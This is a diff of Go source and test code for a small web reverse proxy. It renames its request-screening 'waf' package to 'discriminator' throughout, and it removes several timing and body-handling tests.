@@ -18,7 +18,7 @@ const (
|
||||
)
|
||||
|
||||
// peerAddress is the address of the request's TCP peer, normally traefik, without
|
||||
// any IPv6 zone, which waf refuses.
|
||||
// any IPv6 zone, which discriminator refuses.
|
||||
func peerAddress(r *http.Request) netip.Addr {
|
||||
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
|
||||
if err != nil {
|
||||
@@ -34,7 +34,7 @@ func peerAddress(r *http.Request) netip.Addr {
|
||||
// address outside them is the visitor; if every address in it is inside, the
|
||||
// leftmost is, and with no header, the peer. An entry that is not an address
|
||||
// ends the reading, since nothing to its left can be believed. The visitor's
|
||||
// address never has an IPv6 zone, which waf refuses.
|
||||
// address never has an IPv6 zone, which discriminator refuses.
|
||||
func clientAddress(
|
||||
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
|
||||
) netip.Addr {
|
||||
|
||||
@@ -11,15 +11,15 @@ import (
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
)
|
||||
|
||||
// answerBodyMaxBytes is the most of the body of waf's answer that is read.
|
||||
// answerBodyMaxBytes is the most of the body of discriminator's answer that is read.
|
||||
// It is far above any answer's.
|
||||
const answerBodyMaxBytes = 1 << 20
|
||||
|
||||
// reportAnswerMaxBytes is the most of the answer to a report that is read,
|
||||
// which has no body when waf takes the report.
|
||||
// which has no body when discriminator takes the report.
|
||||
const reportAnswerMaxBytes = 4 << 10
|
||||
|
||||
var (
|
||||
@@ -27,22 +27,22 @@ var (
|
||||
errReportRefused = errors.New("the report was answered")
|
||||
)
|
||||
|
||||
// wafAnswer is what waf answered to a question.
|
||||
type wafAnswer struct {
|
||||
// discriminatorAnswer is what discriminator answered to a question.
|
||||
type discriminatorAnswer struct {
|
||||
status int
|
||||
header http.Header
|
||||
body []byte
|
||||
}
|
||||
|
||||
// noteAnswer notes what waf answered. An answer without a valid disposition
|
||||
// notes nothing, and no report is due for it: waf holds no decision to report
|
||||
// noteAnswer notes what discriminator answered. An answer without a valid disposition
|
||||
// notes nothing, and no report is due for it: discriminator holds no decision to report
|
||||
// on.
|
||||
func (rq *request) noteAnswer(answer *wafAnswer) {
|
||||
disposition := answer.header.Get(waf.DispositionHeader)
|
||||
func (rq *request) noteAnswer(answer *discriminatorAnswer) {
|
||||
disposition := answer.header.Get(discriminator.DispositionHeader)
|
||||
|
||||
switch disposition {
|
||||
case waf.DispositionAllow, waf.DispositionDeny,
|
||||
waf.DispositionClose:
|
||||
case discriminator.DispositionAllow, discriminator.DispositionDeny,
|
||||
discriminator.DispositionClose:
|
||||
rq.disposition = disposition
|
||||
rq.answered = true
|
||||
rq.asn = answer.header.Get(asnHeader)
|
||||
@@ -55,27 +55,27 @@ func (rq *request) noteAnswer(answer *wafAnswer) {
|
||||
func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
switch {
|
||||
case ctx.Err() != nil:
|
||||
// The visitor went away while waf was being asked. waf has not
|
||||
// The visitor went away while discriminator was being asked. discriminator has not
|
||||
// failed, and nothing is noted. This panic has Go's server close the
|
||||
// connection without an answer, and log nothing; the deferred finish still
|
||||
// runs.
|
||||
panic(http.ErrAbortHandler)
|
||||
case errors.Is(err, errCannotPassOn):
|
||||
rq.h.processLog.Warn("waf's answer is dropped", "error", err.Error())
|
||||
rq.h.processLog.Warn("discriminator's answer is dropped", "error", err.Error())
|
||||
rq.answer(http.StatusBadGateway)
|
||||
default:
|
||||
// waf cannot be connected to, does not answer at all, or does not answer
|
||||
// within SWRP_TIMEOUT_MS. A request that keeps waf busy past
|
||||
// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets
|
||||
// discriminator cannot be connected to, does not answer at all, or does not answer
|
||||
// within SWRP_TIMEOUT_MS. A request that keeps discriminator busy past
|
||||
// SWRP_TIMEOUT_MS, like any request while discriminator is overloaded, gets
|
||||
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||
// whenever waf is slow. Making such requests hard to send is
|
||||
// whenever discriminator is slow. Making such requests hard to send is
|
||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||
rq.h.processLog.Warn("discriminator gave no answer", "error", err.Error())
|
||||
|
||||
rq.disposition = rq.h.config.DefaultDisposition
|
||||
rq.byDefault = true
|
||||
|
||||
if rq.disposition == waf.DispositionAllow {
|
||||
if rq.disposition == discriminator.DispositionAllow {
|
||||
rq.passToApp(ctx)
|
||||
} else {
|
||||
rq.answer(http.StatusServiceUnavailable)
|
||||
@@ -83,10 +83,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
}
|
||||
}
|
||||
|
||||
// ask sends waf the question, and returns its answer, which must have come
|
||||
// ask sends discriminator the question, and returns its answer, which must have come
|
||||
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||
// away.
|
||||
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||
func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
@@ -95,7 +95,7 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
res, err := rq.h.wafTransport.RoundTrip(question)
|
||||
res, err := rq.h.discriminatorTransport.RoundTrip(question)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("send the question: %w", err)
|
||||
}
|
||||
@@ -120,17 +120,17 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||
return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
|
||||
}
|
||||
|
||||
return &wafAnswer{res.StatusCode, res.Header, body}, nil
|
||||
return &discriminatorAnswer{res.StatusCode, res.Header, body}, nil
|
||||
}
|
||||
|
||||
// canBeAsked reports whether Go's client can send waf r as the visitor sent
|
||||
// canBeAsked reports whether Go's client can send discriminator r as the visitor sent
|
||||
// it. It cannot send these as they came:
|
||||
// - a target that does not start with /, or that starts with //;
|
||||
// - an empty Host, for which it sends waf's own address;
|
||||
// - an empty Host, for which it sends discriminator's own address;
|
||||
// - a Host holding an IPv6 zone, which it removes;
|
||||
// - more than one User-Agent, of which it sends the first;
|
||||
// - an empty User-Agent, which it leaves out, the one case that still goes to
|
||||
// waf.
|
||||
// discriminator.
|
||||
func canBeAsked(r *http.Request) bool {
|
||||
target, host := r.RequestURI, r.Host
|
||||
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
|
||||
@@ -170,13 +170,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
||||
question.TransferEncoding = in.TransferEncoding
|
||||
|
||||
question.Header = in.Header.Clone()
|
||||
question.Header.Set(waf.ClientHeader, rq.client.String())
|
||||
question.Header.Set(waf.PeerHeader, rq.peer.String())
|
||||
question.Header.Del(waf.ContentLengthHeader)
|
||||
question.Header.Set(discriminator.ClientHeader, rq.client.String())
|
||||
question.Header.Set(discriminator.PeerHeader, rq.peer.String())
|
||||
question.Header.Del(discriminator.ContentLengthHeader)
|
||||
|
||||
announced := in.Header.Get("Content-Length")
|
||||
if announced != "" {
|
||||
question.Header.Set(waf.ContentLengthHeader, announced)
|
||||
question.Header.Set(discriminator.ContentLengthHeader, announced)
|
||||
}
|
||||
|
||||
question.Header.Set(requestIDHeader, rq.id)
|
||||
@@ -191,13 +191,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
||||
return question, nil
|
||||
}
|
||||
|
||||
// answerWith gives the visitor waf's answer, less its disposition.
|
||||
func (rq *request) answerWith(answer *wafAnswer) {
|
||||
// answerWith gives the visitor discriminator's answer, less its disposition.
|
||||
func (rq *request) answerWith(answer *discriminatorAnswer) {
|
||||
rq.prepareOwnAnswer(rq.requestDeadline())
|
||||
|
||||
header := rq.out.Header()
|
||||
maps.Copy(header, answer.header)
|
||||
header.Del(waf.DispositionHeader)
|
||||
header.Del(discriminator.DispositionHeader)
|
||||
|
||||
// Go's server adds a Content-Type it guesses from the body to a response whose
|
||||
// headers have no Content-Type key. The key with no value sends none.
|
||||
@@ -208,10 +208,10 @@ func (rq *request) answerWith(answer *wafAnswer) {
|
||||
rq.send(answer.status, answer.body)
|
||||
}
|
||||
|
||||
// sendReport sends waf report on a goroutine of its own, so that the
|
||||
// sendReport sends discriminator report on a goroutine of its own, so that the
|
||||
// visitor does not wait for it. The report goes on after ctx, the request's own
|
||||
// context, has ended.
|
||||
func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
||||
func (h *handler) sendReport(ctx context.Context, report *discriminator.Report) {
|
||||
h.reportsMu.Lock()
|
||||
defer h.reportsMu.Unlock()
|
||||
|
||||
@@ -227,9 +227,9 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
||||
})
|
||||
}
|
||||
|
||||
// postReport posts report to waf, and waits for its answer for up to
|
||||
// postReport posts report to discriminator, and waits for its answer for up to
|
||||
// SWRP_TIMEOUT_MS.
|
||||
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||
func (h *handler) postReport(ctx context.Context, report *discriminator.Report) error {
|
||||
body, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode the report: %w", err)
|
||||
@@ -246,7 +246,7 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
res, err := h.wafTransport.RoundTrip(req)
|
||||
res, err := h.discriminatorTransport.RoundTrip(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("send the report: %w", err)
|
||||
}
|
||||
+38
-221
@@ -9,7 +9,6 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
@@ -17,9 +16,9 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
// post is the start of a POST whose headers end with what follows it.
|
||||
@@ -59,7 +58,7 @@ func TestServerHasTheFixedLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -72,7 +71,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
@@ -101,7 +100,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, deny)
|
||||
standIn := startDiscriminator(t, deny)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestSize: "1K",
|
||||
@@ -110,7 +109,7 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
bytes.NewReader(make([]byte, 1025))))
|
||||
if got.status != http.StatusForbidden {
|
||||
t.Errorf("answered %+v, want waf's 403", got)
|
||||
t.Errorf("answered %+v, want discriminator's 403", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -133,7 +132,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
|
||||
var asked atomic.Bool
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
asked.Store(true)
|
||||
greet(w, r)
|
||||
@@ -166,7 +165,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
|
||||
t.Run("announced, is refused", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(contentLengthHeader, strconv.Itoa(len(large)))
|
||||
_, _ = io.WriteString(w, large)
|
||||
@@ -188,7 +187,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
|
||||
t.Run("not announced, is cut off", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, large[:1])
|
||||
_ = http.NewResponseController(w).Flush()
|
||||
@@ -218,7 +217,7 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.
|
||||
|
||||
const announced = "2048"
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(contentLengthHeader, announced)
|
||||
})
|
||||
@@ -241,7 +240,7 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
|
||||
t.Run(setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
setting: "off",
|
||||
@@ -252,7 +251,7 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
|
||||
wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
strings.NewReader("a body"))))
|
||||
|
||||
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
|
||||
if got := get(t, addr, discriminator.HealthPath); got.status != http.StatusOK {
|
||||
t.Errorf("answered %+v, want rproxy's own 200", got)
|
||||
}
|
||||
})
|
||||
@@ -271,7 +270,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "500",
|
||||
@@ -290,7 +289,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("waf was asked")
|
||||
t.Error("discriminator was asked")
|
||||
}
|
||||
|
||||
standIn.wantNoReport(t)
|
||||
@@ -301,7 +300,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
||||
func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -315,7 +314,7 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("waf was asked")
|
||||
t.Error("discriminator was asked")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -335,7 +334,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -366,7 +365,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("waf was asked")
|
||||
t.Error("discriminator was asked")
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -379,19 +378,12 @@ type deadlineRecorder struct {
|
||||
|
||||
readDeadline time.Time
|
||||
writeDeadline time.Time
|
||||
// stalled, if set, sends the part of the request body that never arrives. A
|
||||
// read deadline that has passed ends a read of it, as on a connection.
|
||||
stalled *io.PipeWriter
|
||||
}
|
||||
|
||||
// SetReadDeadline notes deadline.
|
||||
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
|
||||
w.readDeadline = deadline
|
||||
|
||||
if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
|
||||
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -412,7 +404,7 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
||||
announced = 100 * questionBodyMaxBytes
|
||||
)
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
})
|
||||
@@ -430,7 +422,7 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
||||
req.ContentLength = announced
|
||||
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
|
||||
|
||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
|
||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||
|
||||
before := time.Now()
|
||||
|
||||
@@ -456,13 +448,13 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
||||
name, target string
|
||||
status int
|
||||
}{
|
||||
{"waf's deny", "/", http.StatusForbidden},
|
||||
{"discriminator's deny", "/", http.StatusForbidden},
|
||||
{"rproxy's own 400", "x:admin", http.StatusBadRequest},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, deny)
|
||||
standIn := startDiscriminator(t, deny)
|
||||
app := startApp(t, greet)
|
||||
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||
@@ -489,34 +481,10 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const least = 10 * time.Second
|
||||
|
||||
standIn := startWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||
maxResponseTime: "300",
|
||||
})
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||
|
||||
before := time.Now()
|
||||
|
||||
server.Handler.ServeHTTP(w, req)
|
||||
|
||||
if w.writeDeadline.Before(before.Add(least)) {
|
||||
t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
|
||||
w.writeDeadline, least)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "3000",
|
||||
@@ -585,7 +553,7 @@ func TestAnAppTooSlowToTakeTheRequestIsAnswered504(t *testing.T) {
|
||||
writeSize = 32 << 10
|
||||
)
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
addr, _ := startRProxy(t, standIn.URL, startAppThatTakesNothing(t),
|
||||
map[string]string{maxRequestTime: "3000"})
|
||||
|
||||
@@ -612,7 +580,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
release := make(chan struct{})
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
<-release
|
||||
})
|
||||
@@ -633,75 +601,13 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Four visitors at a time, each with an app and rproxy of its own, send more
|
||||
// requests in the same time.
|
||||
for visitor := range 4 {
|
||||
t.Run(strconv.Itoa(visitor), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
visitAsTheTimeRunsOut(t)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// visitAsTheTimeRunsOut sends requests to an app that answers about as
|
||||
// SWRP_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
||||
// app's 200 or a 504.
|
||||
func visitAsTheTimeRunsOut(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
const limit = 50 * time.Millisecond
|
||||
|
||||
// answerAfter is how long the app waits before it answers.
|
||||
var answerAfter atomic.Int64
|
||||
|
||||
backend := startWAFAnsweringReports(t, allow,
|
||||
func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
})
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
time.Sleep(time.Duration(answerAfter.Load()))
|
||||
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
})
|
||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||
})
|
||||
|
||||
// After each 200 the app answers a little later, and after each 504 a little
|
||||
// sooner, so that most of its answers arrive as the time runs out.
|
||||
delay, step := limit/2, limit/4
|
||||
|
||||
for range 60 {
|
||||
answerAfter.Store(int64(delay))
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
||||
|
||||
switch status := readStatus(t, conn); status {
|
||||
case http.StatusOK:
|
||||
delay += step
|
||||
case http.StatusGatewayTimeout:
|
||||
delay -= step
|
||||
default:
|
||||
t.Fatalf("status %d, want the app's 200 or 504", status)
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
step = max(step/2, 20*time.Microsecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const start = "the start"
|
||||
|
||||
release := make(chan struct{})
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, start)
|
||||
_ = http.NewResponseController(w).Flush()
|
||||
@@ -750,7 +656,7 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
|
||||
writeSize = 32 << 10
|
||||
)
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
part := make([]byte, writeSize)
|
||||
|
||||
@@ -787,7 +693,7 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
|
||||
func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||
|
||||
got := get(t, addr, "/")
|
||||
@@ -803,7 +709,7 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
|
||||
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
})
|
||||
@@ -822,99 +728,11 @@ func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.
|
||||
}
|
||||
}
|
||||
|
||||
// answerBeforeTheBody is an app that sends its whole answer, greeting, before it
|
||||
// reads the request's body, and then reads the body.
|
||||
func answerBeforeTheBody(w http.ResponseWriter, r *http.Request) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.EnableFullDuplex()
|
||||
|
||||
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
_ = rc.Flush()
|
||||
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
}
|
||||
|
||||
// sendAllButALittle sends a POST whose body stops short of its announced
|
||||
// length, by less than Go's server reads of a body left unread before it
|
||||
// answers.
|
||||
func sendAllButALittle(t *testing.T, conn net.Conn) {
|
||||
t.Helper()
|
||||
|
||||
send(t, conn, post+announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||
}
|
||||
|
||||
// readAnswer reads the whole answer from conn.
|
||||
func readAnswer(t *testing.T, conn net.Conn) answered {
|
||||
t.Helper()
|
||||
|
||||
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer: %v", err)
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(res.Body)
|
||||
_ = res.Body.Close()
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer's body: %v", err)
|
||||
}
|
||||
|
||||
return answered{res.StatusCode, res.Header, string(body)}
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
app := startApp(t, answerBeforeTheBody)
|
||||
// The request time limit is longer than the 10 seconds the status and headers
|
||||
// of an answer have to be sent, and than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "15000",
|
||||
maxResponseTime: "300",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
sendAllButALittle(t, conn)
|
||||
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const limit = 2 * time.Second
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
app := startApp(t, answerBeforeTheBody)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
start := time.Now()
|
||||
|
||||
sendAllButALittle(t, conn)
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
|
||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||
rest, err := io.ReadAll(conn)
|
||||
if err != nil || len(rest) != 0 {
|
||||
t.Errorf("read %q (%v), want the connection closed", rest, err)
|
||||
}
|
||||
|
||||
if closed := time.Since(start); closed < limit {
|
||||
t.Errorf("the connection closed after %s, want %s at least", closed, limit)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
working := make(chan struct{})
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
close(working)
|
||||
<-r.Context().Done()
|
||||
@@ -955,7 +773,7 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
|
||||
|
||||
const answer = "the end of a long answer"
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
_ = http.NewResponseController(w).Flush()
|
||||
